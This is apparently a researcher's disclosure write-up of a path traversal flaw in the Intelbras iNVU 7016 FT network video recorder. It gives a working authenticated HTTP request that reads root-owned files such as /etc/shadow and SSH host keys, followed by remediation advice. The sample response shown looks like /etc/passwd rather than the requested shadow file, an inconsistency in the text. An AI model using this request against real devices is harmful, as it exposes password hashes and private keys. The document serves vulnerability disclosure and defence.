Path Traversal to Root File Read in Intelbras iNVU 7016 FT (LFI)

Jan 2026 lfi path-traversal nvr iot-security intelbras cve vulnerability-research

summary

Path Traversal vulnerability leading to Local File Inclusion in the execution log download endpoint of the Intelbras iNVU 7016 FT, a 16-channel NVR (Network Video Recorder) with AI capabilities. The flaw allows arbitrary file read with root privileges.

CVE pending.

affected product

- **Vendor:** Intelbras
- **Product:** iNVU 7016 FT
- **Firmware:** 3.004.00IB000.0.T (Build 2025-09-26)
- **Web Interface:** 5.031.0.250926.1539217.AI.M.V2
- **Kernel:** Linux 5.15.73 (aarch64)
- **CWE:** CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
- **CVSS v3.1:** 7.7 (High) — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`

background

the iNVU 7016 FT is a professional-grade NVR with 16 channels and built-in AI features like facial recognition, license plate recognition (LPR), and PPE detection. widely deployed in corporate environments. runs embedded Linux on aarch64.

the firmware versioning suffix ”IB” and the use of the JSON-RPC interface at `/RPC2` indicate this product is based on the Dahua codebase. this is relevant because the same vulnerability likely affects other OEM devices sharing this codebase.

discovery

found during an authorized security assessment in a controlled environment. the affected functionality is the execution log file download, accessible under ”Advanced Maintenance > Execution Logs” in the admin panel.

the page lists log files and allows downloading them. intercepting the request with Burp Suite revealed the file path is passed directly in the URL with no proper validation.

technical details

legitimate request to download a log file:

```
GET /RPC2_Loadfile/syslog/<device_model>_<serial_number>@syslog HTTP/1.1
Host: <target>
Cookie: WebClientHttpSessionID=<valid_session>
```

by injecting directory traversal sequences into the path:

```
GET /RPC2_Loadfile/syslog/../../../../etc/shadow HTTP/1.1
Host: <target>
Cookie: WebClientHttpSessionID=<valid_session>
```

the server responds with HTTP 200 and the file contents:

```
HTTP/1.1 200 OK
X-XSS-Protection: 1;mode=block
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'
Strict-Transport-Security: max-age=604800; includeSubDomains
Content-type: application/http

root:x:0:0:root:/root:/bin/dsh
[...]
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
admin:x:0:502:Linux User,,,:/:/bin/dsh
```

the response confirms arbitrary file read. the `/bin/dsh` shell and the user structure are consistent with Dahua-based embedded Linux firmware. the same technique was validated against `/etc/shadow`, `/etc/ssh/ssh_host_dsa_key`, and other sensitive files.

impact

the web application runs as root, confirmed by the successful read of `/etc/shadow` (which requires elevated privileges). this significantly amplifies the impact:

- read password hashes (`/etc/shadow`)
- read SSH private keys (`/etc/ssh/ssh_host_dsa_key`)
- read configuration files with hardcoded credentials
- potential escalation to Remote Code Execution depending on other vectors

exploitation prerequisites

exploitation requires:

- valid authentication on the web interface
- user belonging to a group with one of the following permissions: ”Storage”, ”Maintenance”, or ”System”

worth noting: these permissions are not exclusive to the global admin. a user with just ”Storage” permission, for example, can also exploit this vulnerability.

remediation

- implement a whitelist of allowed directories for file download
- normalize paths (canonical path) and validate the resolved file is inside the allowed directory
- sanitize input by blocking path traversal patterns (`../` , alternate encodings)
- apply least privilege: the web application should not run as root
- review user group permissions and restrict sensitive capabilities

references

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- OWASP — Path Traversal

- VulDB submission: [LINK_VULDB]

← back to writeups